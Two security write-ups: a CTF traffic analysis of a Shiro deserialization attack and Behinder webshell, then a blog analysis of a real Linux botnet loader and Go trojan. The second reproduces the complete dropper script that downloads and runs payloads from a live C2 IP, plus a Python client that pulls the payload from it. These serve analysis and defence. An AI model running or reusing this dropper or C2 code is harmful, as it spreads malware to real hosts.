2026 CCSSSC - Traffic Analysis (traffic_hunt) - WriteUp Layer 1: Apache Shiro CVE-2016-4437 Opening the pcapng capture file, most traffic was HTTP. Attempting to filter all HTTP requests: _ws.col.protocol == "HTTP" It was observed that the initial part consisted of GET scans. Later, several POST requests were directed to the same path /favicondemo.ico. Opening them revealed payloads: POST /favicondemo.ico HTTP/1.1 ... eSG4ePsiwcRpTl8psR0ZbvQKhUKWCbEYAvU/JyGXXqr9DBZr... Attempting direct Base64 decryption failed, suggesting encryption. It was speculated that there was a prior stage involving trojan implantation or similar processing. Filtering all POST requests: http.request.method == "POST" HTTP stream 5009 contained a POST to /. Opening it revealed: GET / HTTP/1.1 Cookie: rememberMe=u5tKw/P2yG/b6D2LV3ALwGCfb8PsolbgWKkRVXLmAxz/o+0S1XodwNI7QhoBclf1eYgDhRg6oGcg/91vpFMLEozcWHp89rOoNGI+QB5tuxwyl3pqomtWZfydxMpuNmfjFgFOvMwNq9EHwZJ/l5+UrxevXyLxgp0dlgzoAPJVRFAcAEAzZ2BjJRhVSEJTEHqL ...

Based on the JSESSIONID, it indicated a Java backend. The rememberMe=deleteMe response is characteristic of attempts to exploit the Apache Shiro deserialization vulnerability (CVE-2016-4437). The earlier part involved brute-forcing to discover the AES encryption key. Looking further, a successful attempt was found: GET / HTTP/1.1 Cookie: rememberMe=39kG6QV4e6yKVk5izql0TAG8PY/lia9KErrRuLjj+bBlO5CC+5Do9W6XnTCNtK5ZfFcS+Cbornnr/Zj0xiyigR228Lh4HCcjOJI7j+yWPDs6PjmaHaDHGte58v+RwwSnxWsgCK1T3UEVesTB0YlR8hGmC6k1skwQEbZpapvpLBa6HdqHQM0OborIzk8GzM4X ... The server responded: HTTP/1.1 302 Location: http://10.1.33.69:8080/login ... The absence of a new Set-Cookie header indicated that the AES key had been successfully matched. Subsequently: GET / HTTP/1.1 Cookie: rememberMe=D5RAhUGqvWLViba9P...h92mxoUt9p Authorization: Basic d2hvYW1p ... Server response: HTTP/1.1 200 ... <div>$$$cm9vdAo=$$$</div> Decoding cm9vdAo= yields root. Decoding the Authorization header value d2hvYW1p yields whoami, confirming RCE was achieved.

Analysis showed it encrypts/decrypts requests and responses using AES. If the request header contains p, it takes the MD5 hash of the p value and uses the first 16 characters as the AES key. Based on the earlier request, p: HWmc2TLDoihdlr0N, its MD5 hash is 1f2c8075acd3d118674e99f8e61b9596. The first 16 characters, 1f2c8075acd3d118, are the AES password. It also set /favicondemo.ico as the C2 communication address, confirming that the POST data observed at this URL were the communication records. Next, examining the previously identified POST packets, HTTP stream 40552 contained a large number of exchanges. A Python script was written to decrypt the first request payload using the key 1f2c8075acd3d118: import Crypto.Cipher from Crypto.Cipher import AES import base64 def decrypt_behinder(data, key_str): key = key_str.encode('utf-8') raw_data = base64.b64decode(data) cipher = AES.new(key, AES.MODE_ECB) decrypted = cipher.decrypt(raw_data) # Remove PKCS5Padding padding_len = decrypted[-1] return decrypted[:-padding_len] key = "1f2c8075acd3d118" body = "qjYfBvYIRKQ...ciIgehs=" data=decrypt_behinder(body, key) print(data) with open(f"payload2.bin", "wb") as file: file.write(data) The output started with CAFEBABE, the Java class file header.

Subsequently, the attacker used the Authorization header to pass encrypted commands. The web server executed commands like whoami and returned the Base64 encrypted result root. Phase 2: Implanting Memory Webshell and Initial Control The attacker sent a POST request to the / path containing a Java class, successfully injecting a Behinder memory webshell, establishing the C2 channel on the /favicondemo.ico path. The attacker sent AES-encrypted Java classes through this channel, using the web application layer to read the underlying system's environment variables, IP information (172.18.0.2), and execute basic system commands (e.g., ps -ef). Phase 3: Malware Upload and Execution Through the webshell, the attacker used blockIndex and blockSize parameters to upload an ELF binary in chunks, appending it to /var/tmp/out, and verified its hash (a0275c1593af1adb). The attacker issued the shell command chmod +x out to grant execution permissions and ran the malware on the underlying system using ./out --aes-key .... Phase 4: TCP Reverse Connection to Obtain Flag Once executed, the Python-based malware bypassed the web layer and actively initiated a TCP connection to the attacker's C2 server (10.1.243.155:7788). Both parties switched to AES-GCM encryption. The attacker issued remote control commands like pwd, ls, and echo Congratulations, ultimately retrieving the Flag from the final response. Overall, it was quite an interesting challenge.

The Reverse Engineering Journey: Analyzing a Server Compromise via RCE from CVE-2025-66478 and CVE-2025-55182 Background It was Saturday evening, and I was resting when Alibaba Cloud suddenly called, saying the server might have been hacked by intruders. I logged into the Alibaba Cloud console to check: What I had been worrying about finally happened. The recently disclosed CVE-2025-55182 vulnerability is exploitable for RCE (Remote Code Execution). The Umami analytics tool running on my server used a vulnerable version of Next.JS. Earlier in the morning, I had manually updated my Umami, but it seems the official patch had not been released yet. The server alert originated from the umami container, which executed a remote shell script. As a CTFer, it's hard to resist analyzing a sample delivered right to your doorstep, right? Analysis The Script The warning from Alibaba Cloud showed the execution of a shell script: /bin/sh -c wget https://sup001.oss-cn-hongkong.aliyuncs.com/123/python1.sh && chmod 777 python1.sh && ./python1.sh I tried to manually download that python1.sh: export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin mkdir -p /tmp cd /tmp touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/ touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/ touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/ rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex export PATH=$PATH:$(pwd) l64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l64&stage=true" l32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l32&stage=true" a64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a64&stage=true" a32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a32&stage=true" v="042d0094tcp" rm -rf $v ARCH=$(uname -m) if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")') elif [ ${ARCH}x = "i386x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "i686x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "aarch64x" ]; then (curl -fsSL -m180 $a64 -o $v||wget -T180 -q $a64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a64'", "'$v'")') elif [ ${ARCH}x = "armv7lx" ]; then (curl -fsSL -m180 $a32 -o $v||wget -T180 -q $a32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a32'", "'$v'")') fi chmod +x $v (nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) || (nohup /usr/bin/$v > /dev/null 2>&1 &) || (nohup /usr/libexec/$v > /dev/null 2>&1 &) || (nohup /usr/local/bin/$v > /dev/null 2>&1 &) || (nohup /tmp/$v > /dev/null 2>&1 &) # I found that it downloads the corresponding ELF file based on the CPU architecture.

Subsequently, it downloads a Payload from the target server and loads it into this memory region for execution. This is a Fileless Malware, which does not store the payload on the disk but loads it directly into memory. *v9++ ^= 0x99u;: Decrypts the downloaded Payload by XOR-ing each byte with 0x99, likely to evade firewall detection. argva[0] = "[kworker/0:2]";: Disguises the process as a kernel kworker process. Other operations: Checks for the existence of the log file /tmp/log_de.log to determine if the server has already been compromised. If so, it exits immediately. If connecting to the C2 server fails, it retries every 10 seconds to connect and load the Payload. The C2 server IP 119.45.243.154 is evident from the reversed code, but the port wasn't immediately obvious. Let's analyze the port setting code: *(_QWORD *)&addr.sa_family = 4213178370LL; Here, 4213178370LL (DEC) = 0xFB200002 (HEX). Since it's a QWORD (64-bit value), the actual value is 0x00000000FB200002. Due to little-endian byte order, the bytes stored in memory would be 02 00 20 FB 00 00 00 00. The typical memory layout for sockaddr is: offset 0–1: sa_family (2 bytes) offset 2–15: sa_data (14 bytes) Thus, the assignment above does the following: offset 0: Low byte of sa_family = 0x02 offset 1: High byte of sa_family = 0x00 offset 2: sa_data[0] = 0x20 offset 3: sa_data[1] = 0xFB offset 4..7: sa_data[2..5] = 0x00 0x00 0x00 0x00 Here, sa_data[0..1] represents the port, and sa_data[2..5] represents the IP address. Since network byte order is big-endian, the actual port is 0x20FB, which is 8443. The IP address assignment is found later: v3 = gethostbyname(name); if ( v3 ) v4 = **(_DWORD **)v3->h_addr_list; else v4 = inet_addr(name); *(_DWORD *)&addr.sa_data[2] = v4; I wrote a Python script to connect to the server based on the loader's logic and attempt to download the Payload into an ELF file: import socket import time import os C2_HOST = "119.45.243.154" C2_PORT = 8443 OUTPUT_FILE = "payload.elf" def xor_decode(data): return bytes([b ^ 0x99 for b in data]) def main(): # Delete old file if os.path.exists(OUTPUT_FILE): os.remove(OUTPUT_FILE) while True: try: print(f"[+] Connecting to C2 {C2_HOST}:{C2_PORT} ...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((C2_HOST, C2_PORT)) print("[+] Connected.") # Handshake s.send(b"l64 ") s.send(b"\x20\xfb") # fake port s.send(b"119.45.243.154".ljust(32, b"\x00")) print("[+] Handshake sent.") print(f"[+] Writing decrypted ELF data to {OUTPUT_FILE}\n") with open(OUTPUT_FILE, "ab") as f: while True: data = s.recv(4096) if not data: print("[-] C2 closed connection.") break decrypted = xor_decode(data) f.write(decrypted) print(f"[+] Received {len(data)} bytes, written to file.") print("[*] Reconnecting in 10 seconds...\n") time.sleep(10) except Exception as e: print(f"[-] Error: {e}") print("[*] Reconnecting in 10 seconds...\n") time.sleep(10) if __name__ == "__main__": main() Running it yielded an ELF file, payload.elf. Payload.elf First, I uploaded it to Weibu Cloud Sandbox for detection, which confirmed it was a Trojan: However, the sandbox didn't detect highly dangerous behaviors. I consulted a senior in reverse engineering, who analyzed the sample and determined it was written in Go. I used GoReSym to export the symbol table and loaded it into IDA Pro: \GoReSym.exe payload.elf > symbols.json I had an AI write an IDA Pro script to import the symbol table: import json import idc import idaapi import idautils # ⚠️ Modify this: Path to your generated symbols.json file json_path = r"D:\\Desktop\\symbols.json" def restore_symbols(): print("[-] Loading symbols from JSON...") try: with open(json_path, 'r', encoding='utf-8') as f: data = json.load(f) except Exception as e: print(f"[!] Error opening file: {e}") return # 1. Restore User Functions count = 0 for func in data.get('UserFunctions', []): start_addr = func['Start'] full_name = func['FullName'] # Clean up characters IDA doesn't like safe_name = full_name.replace("(", "_").replace(")", "_").replace("*", "ptr_").replace("/", "_") # Attempt to rename if idc.set_name(start_addr, safe_name, idc.SN_NOWARN | idc.SN_NOCHECK) == 1: # Optionally, if renaming succeeds, try to re-analyze as code idc.create_insn(start_addr) idc.add_func(start_addr) count += 1 print(f"[+] Successfully renamed {count} functions.") if __name__ == "__main__": restore_symbols() In IDA, I used File -> Script file to run the script and import the symbol table. Simultaneously, I provided the symbol table to an AI for analysis, which identified functions related to OSS bucket operations: (*Config).GetAccessKeyID / GetAccessKeySecret / GetSecurityToken -> Steals or uses cloud credentials. Bucket.PutObjectFromFile -> Uploads files (very likely exfiltrating data from your server to the attacker's OSS Bucket). Bucket.DoPutObject -> Executes the upload operation. (*Config).LimitUploadSpeed / LimitDownloadSpeed -> Limits bandwidth usage to avoid detection of abnormal network activity. Obfuscated Package Name Real Package / Functional Guess Evidence (Artifacts) Behavior Description ojQuzc_T Aliyun OSS SDK PutObjectFromFile, GetAccessKeySecret Connects to Aliyun OSS, uploads/downloads files, steals credentials. l2FdnE6 os/exec (Command Execution) (*Ps1Jpr8w8).Start, StdinPipe, Output Executes system commands. It calls Linux shell commands. qzjJr5PCHfoj os / Filesystem Operations Readdir, Chown, Truncate, SyscallConn Traverses directories, modifies file permissions, reads/writes files. PqV1YDIP godbus/dbus (D-Bus) (*Conn).BusObject, (*Conn).Eavesdrop Connects to Linux D-Bus. Possibly for privilege escalation, monitoring system events, or interacting with systemd. c376cVel0vv math/rand NormFloat64, Shuffle, Int63 Generates random numbers. Often used for generating communication keys or randomness in mining algorithms. r_zJbsaQ net (Low-level Networking) DialContext, Listen, Accept, SetKeepAlive Establishes TCP/UDP connections, possibly for C2 communication or as a backdoor listening on a port. J9ItGl7U net/http2 http2ErrCode, WriteHeaders, WriteData Uses HTTP/2 protocol for communication (likely to hide C2 traffic). Otkxde ECC Cryptography Library ScalarMult, Double, SetGenerator Elliptic curve encryption. Possibly for encrypting C2 communication or as an encryption module for ransomware. We can infer some possible program logic: Persistence & Control (D-Bus & Net): It attempts to connect via D-Bus using the PqV1YDIP package, which is less common in server malware. It might be trying to hijack system services or monitor administrator activity. It listens on ports or establishes reverse connections via r_zJbsaQ. Data Exfiltration (Aliyun OSS): It doesn't send data back to a typical C2 server IP but uses Aliyun OSS as a "transit point." This is a clever tactic because traffic to Aliyun is often considered whitelisted by firewalls and harder to detect. Command Execution (os/exec): It has full shell execution capabilities (l2FdnE6), allowing it to execute arbitrary commands, download scripts, and modify file permissions. Possible Ransomware or Cryptominer Features: Numerous mathematical operation libraries (Otkxde, HfBi9x4DOLl, etc., contain many Mul, Add, Square, Invert) suggest it is computationally intensive. If it's ransomware: These math libraries are used to generate keys for encrypting files. If it's a cryptocurrency miner: These libraries are used to calculate hashes. Combined with its use of Shuffle and NormFloat64 from math/rand, this aligns with features of some mining algorithms (like RandomX). Further analysis led to a function named UXTgUQ_stlzy_RraJUM: I had an AI analyze it and the conclusion was: This is a very typical C2 (Command & Control) instruction dispatcher function written in Golang. Combined with the context of the "Linux loader" mentioned earlier, this function belongs to the core Trojan (Bot) that was downloaded and executed by that loader. 1. Overview and Location Function: Instruction Dispatcher (Command Dispatcher). This is part of the main loop logic of the Trojan, responsible for receiving command strings from the C2 server, parsing them, and executing corresponding malicious functions. Security Mechanism: The function begins with an authentication check if ( v18 == a2 && (unsigned __int8)sub_4035C0() ). If validation fails, it returns "401 Not Auth", indicating that this Trojan has some anti-scanning or session authentication mechanisms. 2. Detailed Reverse Engineering of the Instruction Set The code uses switch ( a4 ) to determine the length of the command string and then checks its specific content. There are numerous hardcoded strings and Hex values here: Case 1 (Single-character commands - Basic Control) These are likely remnants of an early version or shorthand commands designed to reduce traffic: I: Calls os_rename. Function: Renames a file. E: Calls os_removeAll. Function: Deletes files/cleans traces. J: Returns "0" or unknown. Possibly used for heartbeat detection or status queries. Z: Returns "mysql_close\t1". Function: Database-related. It's inferred that this Trojan includes a MySQL brute-force or connection module, and this command closes the connection. H: Possibly gets host information (Host Info). Other single letters (A-Y): Call different sub-functions (like sub_7CAF40), typically corresponding to: enabling proxies, executing shell commands, obtaining system load, etc. Case 4 (Four-character commands) Hex: 1414092869 -> Little Endian: 0x54495845 -> "EXIT" Function: Terminates the Trojan process. Case 8 (Eight-character commands - Core Functions) This is the most critical part, exposing the Trojan's core capabilities: Download Hex: 0x64616F6C6E776F44LL -> "Download" Function: Downloader functionality. Downloads files from a specified URL. Code Logic: If a11 (callback function or interface) exists, it calls it to process the download result. LocalRun Hex: 0x6E75526C61636F4CLL -> "LocalRun" Function: Local execution. Likely executes a local shell script or binary file. Case 9 (Nine-character commands - Advanced Attacks) InjectRun Hex: 0x75527463656A6E49LL + 'n' -> "InjectRun" Function: Memory injection execution. This is an advanced feature, used in conjunction with memfd_create seen earlier. It typically refers to injecting a payload into another process or running it directly in memory without touching the disk. PluginRun Hex: 0x75526E6967756C50LL + 'n' -> "PluginRun" Function: Plugin execution. This indicates that the Trojan is modular and can dynamically load .so or Go plugin modules to extend functionality (such as cryptocurrency mining, DDoS attacks, port scanning, etc.). 3. Response Construction Logic After the switch block, there is a complex string concatenation logic: *(_WORD *)v71 = 15917 -> ASCII for | and }? Or specific delimiters. *(_BYTE *)(v80 + v79 + 2) = 45 -> ASCII for -. Conclusion: The Trojan wraps the command execution result (like "OK", "Error", or specific data) with specific delimiters (e.g., |<result>-) before sending it back to the C2. 4. Summary and Profile Combined with the previous code (the Loader), we can create a complete profile for this Trojan: Family Speculation: This naming style (InjectRun / PluginRun / LocalRun), combined with being written in Go and supporting modular plugins, strongly resembles the Spark botnet or a variant (like a modified version of the Sliver C2, but it's more akin to a custom-built blackhat bot). It could also be a variant of the Sysrv-hello mining worm (which often mixes Go and exploits). Attack Chain: Loader: The earlier C code, responsible for environment detection, persistence, and downloading the Bot in memory. Bot (this code): This Go program, resident in memory. Modules: Dynamically delivers mining modules (like XMRig) or DDoS attack modules via PluginRun. Lateral Movement: The mysql_close hint suggests it has password-scanning capabilities and infects other machines on the internal network via InjectRun. Conclusion Honestly, I felt there wasn't much more meaningful analysis to be done. The logic essentially confirms it's a typical Botnet. The discovered IP has a 99% probability of being a compromised zombie machine, so investigating it seems pointless. The main takeaway is to summarize lessons learned on preventing such incidents. For small-scale personal websites like mine, when a CVE is disclosed, it's best to immediately disable all related services. Wait for a confirmed patched version to be released, then update and re-enable the services. Sample Download: Payload.zip Note: This sample is unprocessed.
